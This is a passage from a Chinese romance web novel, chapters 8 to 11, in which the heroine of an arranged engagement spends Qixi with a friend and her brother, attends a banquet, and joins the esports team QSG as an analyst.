“诶,我说,你不是最讨厌在办公桌上整些吃的喝的,之前有个助理给你带的糕点放上面,你直接将她调离董事办,可是伤了人家的芳心啊。”
裴家少爷裴瑄素来与梁以盏关系不错,前来洽谈项目,顺道约他一起共进午餐。
“还有上次在外地分公司参会,明明发现有人偷拍在偷拍你,那个女人是洲安互联网大厂一个项目的负责人,可你竟然让保镖放过了,怎么最近你净干些截然相反的事情。”2
刚一进门,一眼就发现了办公桌上放着的半袋吐司,还是开封过的。
瞬间,他敏锐地嗅到一丝八卦气息。
果断出手,裴瑄拿起面包袋,一探究竟:“哪家店的啊,竟然让我们的梁董,如此回味……”
“我去,这都快过期了!”
店名普通到裴少爷没有任何印象,标签显示的保质时间只剩一小时。
裴瑄啧了声,拎着它就要丢进垃圾桶。
“站住。”梁以盏在电脑上忙碌,头也未抬地吩咐。
“要是松手,你也跟着一起打包扔了。”
言下之意,叫他快滚。
裴瑄莫名其妙,但还是老老实实,又把那半袋吐司放回桌上。
“难道,梁氏要破产了,你买临期打折的面包?”他调侃问。
有时候茶水间闲聊,听底下员工说,超市每天晚间,会有打折的临期食品。
但梁以盏,不至于啊。
对方依旧没有分给他丝毫眼神,审阅着屏幕上的报表。
半晌,他冷淡应声:“勤俭持家。”
裴瑄:……?
8. 第 8 章
十一点五十,闹铃声响了好几遍,纤纤细手才慢慢地从被子边沿,不情不愿伸向床头柜,凭着本能记忆,摁灭手机。
祝陶浮翻了个身,眼皮下瞳珠轻轻转了转,大脑才缓慢开机。
原以为会睡得不太好,竟然一觉睡到中午,等到闹铃把自己叫醒。
盯着陌生的天花吊顶,发了会儿呆,祝陶浮终于坐了起来。
衣帽间依旧如同其他住处,陈列着各色样式,跟当季新品秀场似的。
祝陶浮没有走进去,而是拉开自己房间衣柜,取下昨天从行李箱里带来的衣物。
对比奢华的衣帽间,偌大房间的这一角落,少而精简得有些可怜。
祝陶浮并不觉得,随意地挑了件t恤阔腿裤,快速洗漱完清爽下楼。
“阿姨,我放在桌上的面包,您看见了吗?”
电竞房布置得一应俱全,进去后就不想出来,祝陶浮坐下就开始整理数据,吐司在餐厅吃了两片,剩下的忘在餐厅。
这个点估计刚过期,祝陶浮觉得还能抢救,来到餐厅却发现不见了。
随之而来的,是阿姨见她起床,将烹饪好的三菜一汤端呈到餐桌上。
阿姨摇了摇头,笑着招呼道:“夫人,先来吃饭吧。”
秉承着不浪费的原则,祝陶浮还是坐到桌面前。
她不挑食,但口味偏中部地区较重。
简单的家常菜,祝陶浮尝出来,是栖梧地区的鲜辣风格。
“阿姨,谢谢您了,辛苦您做得很好吃。”祝陶浮思索片刻,斟酌开口。
“但是,明天以后……就不麻烦您再做了。”她委婉道:“我工作的地方,包吃的。”
还想着除开水电,覆盖新手机价钱,能剩一些。
不然,祝陶浮补贴的那笔房租,根本不够这伙食费啊……
何况,那笔补贴,祁招答应得模棱两可,祝陶浮不确定最后能不能拿到。
也不知道梁以盏怎么跟佣人们交代的,阿姨听完并没有流露惊讶神情,笑意保持着和蔼亲切,应声答应。
“好的,夫人。”
--
连续加班,许若歆难得有一天调休。
碰巧祝陶浮换了工作,赶在明天正式上班前,请客吃饭。
两人口味比较一致,许若歆想吃火锅,新开的一家店红糖糍粑做得不错,她知道祝陶浮喜欢吃这种碳水,便把位置发送过去。
“天啊,你竟然去QSG当分析师了!”听完她三言两语讲完大致过程,许若歆比她还激动。
“姐……不对,你比我小,妹!我竞圈唯一的人脉,诞生了!”
火锅店开放式大堂,人来人往,祝陶浮示意她稍微低调小声点。
“就只是一个月的临时工而已。”
“那也很棒了!”许若歆果断竖起大拇指,十分热切。
“到时候联盟的应援牌,我就写bless加油,还要举高高,争取让导播给个镜头!”
祝陶浮笑了下,说:“我不上场的。”
许若歆顿了一下,尴尬解释:“害,我这脑子,被工作整糊涂了,忘了比赛场上,是主、副教练,或者监督。”
分析师,只能坐在后台。
“那没事啊,你不亮相,我也可以给你加油嘛,大名单上总归有你名字。”
祝陶浮依旧摇头,简单说了,俱乐部的顾虑。
报备联盟但没有公开,舆论以及战术。
本来是很开心的,然而听她仔细讲完,许若歆没了一开始的兴奋劲儿。
“我怎么觉得,你这分析师,完全吃力不讨好啊。”
知晓她是担心自己,祝陶浮反而安慰起她来:“没有,就一个月,要是打得不怎么样,岂不是被骂死了,这样也好。”
何况,她与祝家的关系,也并不适合抛头露面。
这一点,祝陶浮不便言说,按下未表。
电子竞技,菜是原罪,一切输赢定论。
一直看比赛,许若歆自然是知道,赢了狂、输了喷,程度会有多夸张。
但她还是认为,QSG理应将祝陶浮,放进大名单。
“小桃桃,咱可过了,靠热爱吃饭的年纪啊,不要人家画的什么饼都吃。”
说得老气横秋,语重心长,尽管祝陶浮一些原因上学早,许若歆实际上也只比她大两岁。
本科毕业以后,许若歆去了栖梧市隔壁省城,同级别211读研。
祝陶浮依然留在原城市,升了所985高校。
同在数学系,前者专硕,后者学硕,许若歆比祝陶浮早一年毕业来洲安工作,祝陶浮则是因为实习。
谈及吃的,祝陶浮不动声色地转移话题:“那……我们吃完火锅,去看看有什么好吃的甜点,买了带回去。”
提起这个,许若歆跟着她的思维走。
“你们小公司真是发达了,去参加的展会这么高级啊,甜品竟然都不是预制色素,你从那儿顺走的进口巧克力,一片就好几百块钱,我放冰箱都舍不得吃完。”
自然而然,许若歆联想到,前些日子,祝陶浮带来的面包和巧克力。
“那家新开的面包店,我同事都没来得及去打卡,只好忍痛把你带的面包分了给她们。”许若歆撇撇嘴,又转而笑道:“巧克力嘛,我就吃独食了,嘿嘿。”
别说实习工资,祝陶浮原来的小公司,即使转正了,一天工资都勉强覆盖一块几百元的巧克力。
许若歆大厂上班,比她强一点,一天能买三四块。
但都不是她俩能大手一挥,能拿下一整袋的购买力。
祝陶浮找个借口,说是展会的茶歇区。
“什么展会啊,甜点都这么用心,你们都参展了,我们大厂没有收到消息!”许若歆愤愤地咬着涮肉片,仿佛错过了一个亿。
祝陶浮只好继续,编造理由应付:“……这年头,到手的钱才是真的,甜点再好,也没你薪水高啊。”
“可别了。”许若歆摆手,将杯子里的啤酒一饮而尽。
“降本增效,既要又要,纯纯拿命和时间,去交换薪水。”叹气一声接一声,许若歆忧愁地说:“同事之间,是维持着表面上的和谐正常,看似闲聊八卦,实际都各怀心思。”
“领导呢,更是pua高手,乱七八糟的任务丢给你,美其名曰锻炼你,呵呵,年底绩效打分,我看也没给我多打一个level。”
说到这里,许若歆决定取消逛街计划,临时更改行程:“虽然咱两出身数学,但我决定投靠玄学,最近实在太霉了。”
--
在栖梧市读大
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学的时候,许若歆和祝陶浮去过当地的城隍庙。
一般周末人会比较多,但当下午,两人赶到时,几乎人满为患。
两人后知后觉,是因为七夕。
现在年轻人,月老殿爱搭不理,财神殿长跪不起。
到底是七夕传统节日,今天庙里设专场法会,月老殿也是熙熙攘攘,挤满了人群。
原本许若歆求事业,只打算财神殿拜拜。
秉承着来都来了,而且撞上七夕这种好日子,便拉着祝陶浮,和她一起拜月老。
其实不用许若歆开口,祝陶浮也会去拜。
不止月老,其他的慈航殿、元辰殿……
今天人多,两人分开行动。
“说你信吧,你不抽签;说你不信吧,你又每一个殿都跪拜,捐了香火钱。”重新汇合时,许若歆摇摇头,表示看不懂。
在栖梧的时候,祝陶浮亦是如此。
很多人是选殿跪拜,礼仪并不到位。
去佛教寺院,她礼佛三拜;去道教观里,她三跪九叩。
一个接一个,参拜标准,从不遗漏。
她解释是老家附近山上的观里,有位道长为人亲善,他跟另一寺院的师傅关系不错,祝陶浮因而对佛、道都知晓一些。
“那你如此虔诚,是许了什么愿望?”
同样的问题,之前许若歆好奇问过。
“其实,心里什么都没有想。”而现在,祝陶浮坦然回复,答案未变。
冲她眨了眨眼,关心她签文怎么样。
判词上大致意思,是说虽然现在工作困难,但许若歆继续坚持,会有守得云开见月明的一天。
“大部分签文,都是鼓励人们要积极乐观生活。”
对此,许若歆看得很开,乐呵呵道:“幸好不是下下签,大夏天的,这碗心灵鸡汤,我喝了。”
紧接着,许若歆还想去法物流通处请购手串,说是看她同事手上戴了一串,是在庙里买的,还挺好看。
香囊、钥匙扣、冰箱贴……各式各样,琳琅满目,许若歆选完手串,还想买点别的饰物,有些挑花了眼,询问祝陶浮的意见。
“你确定不要吗?”许若歆见祝陶浮陪她选购,自己什么都没有买,大方道:“我挑一个送你。”
祝陶浮笑了笑,委婉拒绝。
“到底灵不灵验,至少心理上,是一丝慰藉嘛。”许若歆劝说道。
片刻,祝陶浮慢慢说:“我觉得,心诚则灵吧。”
--
七夕人群熙熙攘攘,两人逛了一下午,才找到一处有空位的咖啡馆坐下休息,边喝咖啡边思考晚上吃什么。
祝陶浮在手机上翻找餐厅,比较团购券哪家划算,许若歆则望向窗外的车水马龙,颇为感慨。
“每次下班基本天黑了,跟你看比赛也是夜晚,难得见到白天的洲安,还是浪漫的节日氛围。”
七夕街面是玫瑰的海洋,平日里整洁的路面,隔一段就有小摊吆喝卖花,红的粉的蓝的白的,颜色各异令人眼花缭乱。
手机铃声响,来电显示,猪头哥。
祝陶浮静音,不作理会。
料到她不会接,紧接着屏幕上显示新消息。
“速来。”
下一条--
“捉奸。”
9. 第 9 章
字越少,事越大。
相较于对面火急火燎,祝陶浮低头,在屏幕上敲了六个点。
祝陶浮:“……”
“你老公跟别人过七夕,你不着急?”
祝峥纳闷了,径直挑破话题。
“首先,我们没结婚。”祝陶浮提醒他,注意措辞。
“其次,跟我没关系。”
言下之意,祝峥是皇帝不急太监急。
祝峥也回她六个点。
“……”
“没有商量的余地,待会儿派人过来接你,我跟你一起过去。”
“歆歆,我出去接个电话。”
发消息是说不清楚了,祝陶浮走出咖啡馆,找了个稍微僻静一点的街角,耐着性子,接听这位哥的来电。
此时祝峥那边正在忙工作,所以没有那么多废话。
三言两语交代,今晚有个宴会,要求带女伴,梁以盏竟然参加了。
上次聚会,梁以盏与祝陶浮同时出面,关于梁、祝两家联姻破灭的猜测,不攻自破。
短时间内,祝家公司得以喘息。
但另一方面,与祝家进行商业往来的一些合作方,他们试探性地整出些动作,令祝峥放松下来的心情,再次保持警惕。
今天晚宴邀请了祝峥,他处理公事,原没打算参加。
然而在听说,梁以盏出席,并且聚会要求带女伴时,他瞬间坐不住了。
七夕街面是玫瑰的海洋,平日里整洁的路面,隔一段就有小摊吆喝卖花,红的粉的蓝的白的,颜色各异令人眼花缭乱。
祝陶浮打电话的时候,还有人主动过来问要不要买玫瑰。
她只好又往旁边的小巷里,挪了几步。
“这个点太堵车了,你就算现在立刻出发,晚宴已经开始。”祝陶浮摆出客观事实依据,意图劝说他打消念头。
“你……”祝峥还打算说什么,停顿两秒,他转而道。
“行吧,既然都在过节,不能我一个人单着不痛快。”索性改口,十分不爽。
“过来陪我加班。”
祝陶浮当然拒绝,但当她回到咖啡馆,许若歆太久没在太阳底下行走,人多又热,身体呈现出不适的症状,可能轻微中暑,打算提前回去休息。
“不好意思啊小桃桃,好不容易出来一趟,还放你鸽子。”许若歆不舒服地皱眉,表情充满了歉疚。
“说什么呢,身体当然是最重要的,我送你回去。”祝陶浮作势就要扶她起来。
“这就不用麻烦你了,没那么严重,我自个儿能行。”许若歆赶紧推开她好心搀扶的手,龇牙咧嘴地调侃。
“哎,咱两单身狗,只能线上云相聚了。”
暂时没有将自己已经从原公司离开、在QSG当分析师的事情,告诉祝峥。
多说无益,也就一个来月,他自己迟早会知晓,那时候她已经离开洲安。
祝陶浮还是坚持把许若歆送回家后,想了想,拨通祝峥的电话。
“接下来一个月,我要忙论文了,没时间替你分担报表。”实际上论文进度跟导师线上保持推进,组会定在十一以后。
这是祝陶浮找的理由,免得她打扰接下来的电竞赛程。
电话那头,祝峥爽快答应。
--
祝家公司总裁办,祝峥闭眼躺靠在长条沙发上休息,祝陶浮则接替了他的位置,坐在办公桌后面。
“你不是说饭来了,离你定的时间都过了一小时,在哪呢?”将最新一条报表数据整理完毕,祝陶浮不再清算旧账,放下鼠标,撂挑子不干了。
祝峥眼也未睁,鼻腔里哼出一声:“不要着急,在路上了。”
看他懒洋洋地休息,祝陶浮饿着肚子加班,语气相当无奈:
“今晚七夕,餐厅基本都是满员,我早该想到。”
听见房间里传来收拾东西的动静,祝峥迟来地睁眼,发现祝陶浮背上包,真的准备离开,这才打电话,催秘书把晚餐送到。
两人在会客区用餐,祝峥边吃边跟她闲聊。
“数据分析进度到哪里了?”
“这两年你接手的项目,没什么太大问题,但往前推算,会有一些隐藏的漏洞,部分已经分拣标记出来了。”言简意赅,祝陶浮答。
祝峥点头,接着问:“你怎么看?”
祝陶浮专注吃饭,头也未抬道:“那是你们财务部要看的事。”
她不是经管系,的确不会处理后续账目相关事宜。
但祝峥将其解读为,言下之意,是不会多管闲事。
祝峥笑了一下,说:“行了,你不用装傻,你知道我是想让燕女士,移交公司管理权。”
燕女士,燕媛,是祝家夫人,也是公司董事长,祝家实际掌权人。
正值中年,再加上金钱堆积出来的保养,精气神理应不错。
然而她控制欲极强,经商方面又不太擅长。
商场不是宅院,强行将权力把控在自己手里,有颗好胜心却控制不住局面。
长此以往,精力内耗,事业外忧,燕媛身体一日不如一日,不得已让祝峥进入董事会。
否则,朱老夫人再怎么闹腾,所谓的“儿女双全、山水合一”玄学说辞,燕媛也不会把祝陶浮接回祝家。
现实里得不到诉求,转而祈求鬼神慰藉。
主观上的意愿,以及客观来讲,好听点是联姻,实则卖女求荣,换取商业利益。
这笔账,燕媛计算的结果是,收益为正,怎么都不会亏。
私底下祝峥并不会叫她母亲,祝陶浮则表面上都不会喊一声,仅作祝夫人称呼。
因为燕女士既不是祝峥、亦非祝陶浮的生母。
落地窗外,节日的霓虹灯分外闪耀,点燃浪漫氛围。
数以万计的高楼大厦,在这一方冷色调办公区,祝峥与祝陶浮相对而坐,显得寂寥漠然。
面对祝峥的探问,祝陶浮依旧不紧不慢,吃着碗里的饭。
她长相漂亮,吃起饭来赏心悦目,可祝峥不怎么满意。
原因无他,祝峥说过,她没有一点千金小姐的样子。
哪有大家闺秀吃饭,连一粒米都要吃干净的,一副穷酸鬼的模样。
听到他这番讽刺,祝陶浮没有丝毫生气,坦然承认:“我本来就不是什
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么豪门千金啊。”
就像此时,祝峥说她知道,祝陶浮却只道:“与我无关。”
很多时候,不怕费尽心机、拼命往上攀求的人。
因为有所求,就会有弱点,可以拿捏,可以控制。
最怕的,是无欲无求的人。
但是这世上,怎么可能真的存在,与世无争的人呢?
从将她十六岁接回祝家,无论是丢弃低谷,还是金钱堆起来的高山,她都不为所动。
该说她的心机深重,还是太能隐忍。
并非是找寻不到数据分析的可用之才,祝峥是一种试探,看看祝家在她心里,到底是什么定位。
但结论如她所言,好像真的与她无关,就是矜矜业业的打工人而已。
试了几次,用了顺手,总归是姓祝,看起来安全,一些龃龉上不得台面的资料,祝峥交由她解析。
盯着她看了一会儿,直到她将碗里最后一片菜叶消灭干净,祝峥笑了下,说:“走吧,辛苦加班,我送你回去。”
--
私人宴会设在一处上世纪的古典花园,繁复雕花栅栏缓缓打开,草坪喷泉、高山流水,露天演奏会其乐融融,一辆车缓缓驶入。
“到了,来捉奸。”祝峥偏头,望向座位另一侧。
轻轻地叹了声气,祝陶浮眼睫半垂,颇为无奈道:“你这又是何必。”
“很有必要啊。”祝峥不以为意,挑眉道:“我妹夫参加晚宴,我当然得关心关心,他女伴是什么情况。”
默了半晌,祝陶浮扶额:“……你有本事,当着他的面称呼。”
祝峥也跟着沉默。
他的确不敢叫妹夫,索性岔开话题:“总之,今天他们俩,我是拆定了。”
祝陶浮:……
“古人都说,宁拆十座庙、不毁一桩姻,你……”只差没说,太缺德了。
祝峥明白她的意思,打断她并纠正措辞:“你和梁以盏才是白纸黑字的订婚关系,就算是姻缘,也是你们。”
他不以为耻、反以为荣:“我是在维护正缘,这叫正道的光。”
此人着实厚脸皮,祝陶浮已经不想说话了。
“……随你,我不会配合。”
下午逛得太累,节日人多拥挤,气温炎热,祝峥提出送她回家,祝陶浮没有拒绝。
她想的是祝峥把他放到地铁口,然而祝峥让司机径直开过路口,没有停留的意思,祝陶浮就知道,他又要整幺蛾子。
于是她坐在车上一动不动,祝峥总不至于绑了她去。
似乎料定她的打算,祝峥笑意更深,心情非常不错:“你不去就山,那就让山来就你。”
“……不会说话,可以不说。”古语不会,可以不用强行卖弄,祝陶浮心累地想。
“行啊,我闭嘴。”祝峥吊儿郎当地嗤了声,一手指着眼睛,斜斜地睨向身旁。
“我给你用眼睛看着,妹……”
叫妹夫本来是为了逗逗他这白纸一片的妹妹,但叫梁以盏妹夫,实在是有种折煞寿命的感觉。
祝峥轻咳两声,义正言辞:“……看着梁以盏,守不守男德。”
10. 第 10 章
宴会酒兴正酣,有的仍在内场把酒言欢,有的在草坪上三两谈笑。
厅堂鎏金奢华,侍者身着燕尾服,礼数周全、分列两侧,一群人正有说有笑,来到门口。
簇拥为首的那人,所站之处灯光闪烁。缎绸墨黑衬衣勾勒痞冷高挺的身段,他神情淡漠、姿态慵懒,全然没有周遭西装革履的严阵以待。
他们或是端着酒杯曲意逢迎、或是惴惴不安强颜欢笑。
而他眼皮似垂未落,敷衍之色溢于言表。
祝峥忽然推开车门,走了出去。
突如其来的变故,弄得祝陶浮一愣。
她坐在里侧,祝峥打开车门后,并未关闭。
车内空调瞬间卷了出去,但体感温度没有多么燥热。
露天场地经过特殊摆设,暑热夜晚散发着幽幽凉气。
祝峥拾级而上,在距离梁以盏一步之遥的地方站定,伸手同他打招呼。
似乎一直在神游,梁以盏终于撩起眼尾,正视以待。
第一时间,梁以盏并未回握过去。
祝峥面上不显,心里一沉,周围看热闹的宾客里,已经有人按捺不住鄙夷的神情:
攀上姻亲又如何,不过都是逢场作戏……
下一秒,梁以盏抬手,拍了拍祝峥的肩膀。
祝峥身高一米八六,与祝陶浮的一米六八刚好倒过来,他曾调侃要不是兄妹呢。
然而与梁以盏相比,还是稍稍矮了一点。
身高优势,梁以盏拍他肩膀的动作,外人看来有种兄弟间的熟稔,亲切自然。
唯有祝峥知情,这分明是第一次,心里不由得又一惊。
车内灯光昏暗看不太清,梁以盏却若有实质般,瞥了眼晦暗角落的身影。
收回视线,他对众人道:“失陪,家里人着急。”
接着,轻点下颌,看向对面:“是吧,大舅哥。”
祝峥:……?
方才还在车上,和祝陶浮谈及“妹夫”称号的玩笑,此刻梁以盏竟然当众开口,叫自己“大舅哥”?!!!
心情跟坐过山车似的,一惊又一喜。
但他没有在车里的高谈阔论,选择谨慎地没有喊妹夫,而是过渡到话题中心。
“是啊,小妹等得着急,才派我来催。”
祝峥说着,眉眼微蹙,俨然一副好哥哥的模样,不知道怎么该拿妹妹怎么办。
落在众人眼里解读为,解铃还须系铃人,祝峥此番前来,自是替祝陶浮出头,来找梁以盏了。
可梁以盏居然应了,两人还谈笑风生,没有丝毫生硬做作。
梁家和祝家关系什么时候这么好了?
送走这场宴会的焦点,周围人转而开始审视,这个所谓的“大舅哥”。
圆滑地与他们推杯换盏、虚与委蛇,祝峥笑意里顿觉有了底气。
梁以盏是主办方巴结讨好的对象,带女伴的限制,于他无意,但祝峥到底亲自验证更为放心。
与祝陶浮清新寡淡的生活不同,祝峥可谓是五颜六色,所以找个女伴赴宴是分分钟的事情。
站在门口搭档女伴,他顺便不忘抽空给祝陶浮发消息。
“妹夫不错,很守男德。”
良久,祝陶浮才回了一句:“……这到底跟你有什么关系。”
祝峥骄傲:“哦,因为我是他大舅哥。”
祝陶浮:“?”
--
七夕车水马龙、川流不息,江面上游艇熙攘悬挂气球横幅,烟花在天空中绽放,一架架无人机升起变换展示爱意,将平日里肃冷沉静的暗灰摩天商楼,增添了凡俗的色彩。
一些人觉得不伦不类,花里胡哨拉低了城市档次,另一些人觉得节日理应如此,向来在云端高冷惯了,就该热闹热闹接接地气。
回程路上,车内相对无言,隔音玻璃将一切喧嚣挡在外面,这一方空间幽然寂冷。
不知是沉睡还是假寐,梁以盏闭目养神,松散地靠在座椅上。
祝陶浮探头,望向窗外,将节日的欢乐用手机记录下来,因为室友们好奇洲安七夕是如何盛况。
研究生的室友各奔前程,彼此间维持着表面友好和谐,放假更是不知踪影。
反倒是本科吵吵闹闹的寝室,四人群里时不时还有联系。
除了许若歆和祝陶浮,另外两人没有留在中部省城江梧,各自分别回到同省的地市家乡,进入国企和体制内,工作和恋爱都是平淡如水。
七夕在群里分享近况,自然关心起她们俩有没有谈男朋友。
“呵呵,你两别秀,我和小桃桃一点都不羡慕!【哼唧.gif】”
许若歆表示,她和祝陶浮在一起过七夕。
“你现在好点了吗?”祝陶浮关心她中暑的症状是否好转。
其余两名室友赶紧询问,许若歆身体是怎么了。
“哎呀没事,太久没活动,一走就走了一万多步,回家后躺躺,已经活过来了!”许若歆。
“要不是现在太堵车,我一定会飞到你身边。【玫瑰.jpg】”许若歆。
“你都会飞,还怕堵车?【疑问.jpg】”祝陶浮。
室友:“哈哈哈哈哈哈哈。”
另一室友:“【嘻嘻.jpg】”
许若歆:“好啊小桃桃,你不爱我了。【心碎.jpg】【心碎.jpg】【心碎.jpg】”
祝陶浮:“【爱心.jpg】【爱心.jpg】【爱心.jpg】”
室友两:
“行了行了,你两别腻歪了。”
“快把今天的洲安,发咱瞅瞅。”
于是祝陶浮发出,她拍到的江面夜景。
室友们:
“好看是好看,但怎么感觉,各地都大同小异,我记得上大学那会儿,江梧虽比不上洲安繁华,但也差不多是这样诶。”
“好怀念以前,咱四个傻乐没钱、纯逛不买的日子哈哈。”
祝陶浮盯着这段话,短暂地陷入本科象牙塔的美好记忆里。
没有留意到,身边的男人,不知道什么时候,在黑暗里,悄然睁开了双眼。
“话说回来,你和小歆歆,两人还没恋爱的想法吗?”
“害,天天加班,哪有时间。”一提起工作,许若歆满肚子苦水。
“除非搞办公室恋情,然而我那傻逼同事,我没气得抡起键盘搞他们人就不错了,还跟他们搞恋爱。【呕吐.jpg】”
室友们同情地发出“摸摸”、“抱抱”的表情包。
“那小桃桃呢,看到外面充满粉色泡泡的节日图片,会想要吗?”
手机稍稍往旁边放了放,祝陶浮趴在车窗看了一会儿,又把手机重新拿起来,认真在屏幕上敲下一个“想”字。
室友:“!”
另一室友:“!”
许若歆:“!”
许若歆:“你啥时候好这一口,土豪归土豪,但无人机游艇放气球,不是跟宿舍楼下摆心形蜡烛,一个道理???”
发出去的图片里,其中的高楼大厦,祝陶浮编辑圈画,再次发送。
“我想要这里,全天候播报!【墨镜.jpg】”
漫天都是关于爱情的印记,一夜过后消弭殆尽。
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然而背景里江水悠悠承载深重,摩天写字高楼屹立不倒,形成洲安城恒久不变的记忆。
室友:“全天?也就求婚的时候,高楼的巨屏一晃而过吧,不会持续很久……全天是为什么?”
另一室友为她答疑解惑:“哎呀,小桃桃的意思,不是谈情说爱,是在走事业线呢。”
“那你得多有名啊,一分钟数以万计,还要全天!”许若歆脱口而出。
但当她说完,就有些后悔了。
想撤回,其他人已经看见,反而欲盖弥彰。
其他两名室友不追竞,也不清楚祝陶浮现在正在从事的临时分析师,自然不知晓,此刻她寂寂无名。
甚至一辈子,不会拥有姓名。
所以室友们还很乐观地给她加油。
“反正是想嘛,想要和要,不一样。”
“就是,既然做梦,就梦个大的呗!”
祝陶浮轻笑,发了个比耶的猫猫表情。
终于驶出拥挤路段,渐渐离开繁华热闹的江边,祝陶浮坐回原位,发现梁以盏仍然倚靠座椅,闭着眼睛。
窗外路灯向后倒影明明灭灭,稍稍柔和侧颜轮廓的凛冽冰冷,没有平日里那么不近人情,似在静谧昏睡。
--
司机将车缓缓停泊至庭院,祝陶浮走进花园,一道身影随后而至。
她停顿住脚步,望向身侧人。
“你怎么来了。”
凌晨时分,夜色暧昧昏沉。
微风轻拂,应酬时梳上去的鬓发,此刻垂落些绺在额前,愈发衬得眉弓立体、鼻梁峻挺。
庭院夜光映入深邃灰眸,如同乌云掩盖月色,晦暗难明。
可能是喝了些酒,冷白侧颜唇色坠着红,慵懒而魇色,如暗夜里勾人的艳鬼。
懒散掀起眼尾,浸了酒的声线似琴弦,低哑撩人。
“你想说的,不是这个。”梁以盏。
祝陶浮:“我……”
那不然说什么,她的确好奇,这里离他公司很远,通勤不便捷啊。
再者,他在工作地附近也有住处。
祝陶浮刚准备开口,对方忽然垂下眼睑,俯身凑近。
沉醉细密的呼吸倾洒在她衣领上方颈侧锁骨,清凉夏夜里,泛起灼热轻微颤栗。
距离之近,祝陶浮能看见,在灯光照射下,长睫于他晰冷骨相投下的浓深阴影。
夜色浓稠旖旎,真像是诱惑心绪的吸血鬼,要在人类脆弱细瘦的脖颈,咬上一口。
她下意识地往后退了一步,梁以盏则不动声色地重新站直身姿,挑弄着指尖的一朵落花。
原来他是在帮自己梳整,祝陶浮也抬起手,理了理发梢。
“紧张什么。”她听见头顶传来喑哑轻笑。
祝陶浮说不过他,索性开门见山,提出疑问:“那你上班,不顺路吧?”
闲闲地看了她一眼,梁以盏转身,往门口走,祝陶浮见他不语,只得跟上。
门锁自动开启,梁以盏声音落下,意味不明:“刚来就赶人走,这就是你的待客之道。”
嘴上说着是客,却行主人之实,进屋慵懒随性,自己在餐厅落座后,不忘招呼祝陶浮。
“过来吧。”
桌上相对而立,各自放置瓷碗,梁以盏是醒酒用,祝陶浮是安神。
也不知道佣人什么时候准备的,祝陶浮喝起来温热,入口甘醇适宜。
她很想说,你知道就好。
然而她已经为了这手机的n倍五斗米折腰,咽下口中清甜的药汤,她下定决心--
继续折腰:)
11. 第 11 章
正式入队当天,祝陶浮将作息调整得与电竞一致,中午才出门。
下楼的时候,偌大厅堂空无一人,如祝陶浮所言,佣人没有准备午餐。
心里松了一口气:算了,梁以盏日理万机,不会天天来。
即使前来,昼夜时间错开,也不会碰上,她就暂当跟合租差不多。
QSG的lol分部一队在二楼餐厅,赛训组同桌吃饭。
等祝陶浮赶到时,没有见过她的队员们,以为她是新来的运营或者选管,给vlog录制素材。
“虽然,但是,队长,粉丝这么紧张赛况,现在就要拍视频稳定军心了吗?”
ad一头雾水,望向游戏里同为c位的中单祁招。
一般比赛前后,或者休假,才会拍vlog。
赛程中期的短暂休整,俱乐部不会发布视频。
“哇,是新来的小妹妹,长得也太漂亮了”
上单关注点在另一个地方,提问经理。
“外界是开玩笑,你不会真是按颜值选人吧?”
QSG整体颜值颇高,都是久经沙场的成熟选手,以祁招容貌最盛。
观众们开玩笑,QSG 是按脸选人的男明星队。
餐桌下祁招给了上单一脚,闲闲道:“什么小妹妹,按辈分是你老师。”
上单痛呼,坐他旁边的打野莫名其妙:“老师?她又不是教练。”
监督刚刚走进餐厅,路过他身后拍了拍他的头。
“可她就是啊,小姑娘是新来的分析师。”
上单、打野、ad、辅助:?
教练简单解释,祝陶浮即bless,接替原分析师工作,如果进入世界赛,原分析师会返回队伍。
现在网络上各种博主分析层出不穷,有的是真才实学,有的是浑水摸鱼,但对于各类意见,俱乐部赛训组酌情考虑。
bless这个id,在QSG内部游戏爱好者聚集群里,声名大噪,队员们自然认识。
可是难以将老年表情包风格的老大哥bless,与眼前清冷艳丽的小姑娘联系起来。
老哥变小妹。
太割裂了。
一时间,餐厅里鸦雀无声。
上单拿起筷子正准备吃饭,啪嗒掉在地上。
“你们能不能尊重一下别人,就让人家站着啊。”祁招看他们这没见过世面的傻愣模样,简直气笑了。
话音刚落,队伍里四人齐齐警惕地看向祁招。
一起打过比赛,赛场上很多生死时刻,不用言语、心知肚明。
因此他们看向祁招的目光,不言而喻,充满着担忧:
你不要乱来啊,兔子不吃窝边草!
明明是好心提醒他们,自己反倒被重点关注,祁招:?
“来来来,bless以后就是自家人了啊,坐坐坐。”经理圆滑地招呼祝陶浮坐下,位置在祁招右手边。
他不好意思地歉疚道:“时间紧急,实在是无法将所有人聚在一起办个欢迎仪式,今天中午就简单招待一下,多多担待啊。”
说是简单,实则菜式从数量到种类置办得非常用心,一看就是花了心思和时间。
祁招撩起眼皮,淡然一笑:“到时候庆功宴,必须补上。”
相较于众人的紧张、怀疑与审视,祝陶浮落落大方地挨个同他们打招呼,平静入座。
渐渐地,大家一边吃饭一边聊天,气氛放松下来。
队伍里除了祁招散漫恣肆,他本质上不属于无事生非、刻意刁难的性子,其余选手除了小辅助年轻活泼,剩余多年浮沉还活跃赛场的都是大心脏选手,聊起天来侃侃而谈。
再加上祝陶浮很好说话,与她过分浓艳的长相截然相反,一点都不矫情娇气,很快与他们活跃开来。
聊过往比赛,聊选手特点,还聊到祝陶浮的学校、专业……
得知她是因为兴趣入行,辅助苦笑,好心提示:“这一行看着光鲜,其实个中心酸,只有自己知晓。”
“行了,来都来了,干就完事。”打野乐观地出言安慰:“小祝教练,我们会好好配合你的。”
祝陶浮眉眼弯弯,说:“是我配合你们才对,一定会赢的。”
教练和蔼笑谈:“不错不错,小姑娘很有豪情壮志,要得就是这个气势!”
说罢举起桌上的果汁,兄弟们齐齐举杯,表示欢迎。
“我有个问题,就是bless名字不对外公布,就算俱乐部有心隐藏,基地人多眼杂,外界迟早会知道。”放下玻璃杯,ad好奇发问。
“这个不用担心,知道就知道,不到一个月而已,官方不会证实。”经理。
片刻,上单率先开口。
“我觉得bless的名字,还是有必要上大名单。”
竞技赛事之所以吸引人们观看,是因为有些时候有些事,比权衡利益更为重要。
岁月磨砺寒凉热血,总有人抛却所有不顾一切。
恰如此时,与新来的分析师仅仅初见一面,队员们坚持建议,不能埋没祝陶浮的名字,得让世人知晓。
“其实是我和祁队商量的结果,我自己的原因,不想公开。”祝陶浮解释。
上次在训练室,经理提出不公布姓名,是从俱乐部经营利益的角度出发。
他的意见作为参考,最终决定权在祁招手里。
祁招当即否定,表示名字一定要上大名单。
“为什么啊,作为职业,都会想在生涯留下姓名。”辅助年纪最小,涉世未深,心直口快直接问了出来。
今年是他第一次从二队提上一队,非常珍惜名字能在一队名单的机会,无法理解祝陶浮竟然自己主动除名。
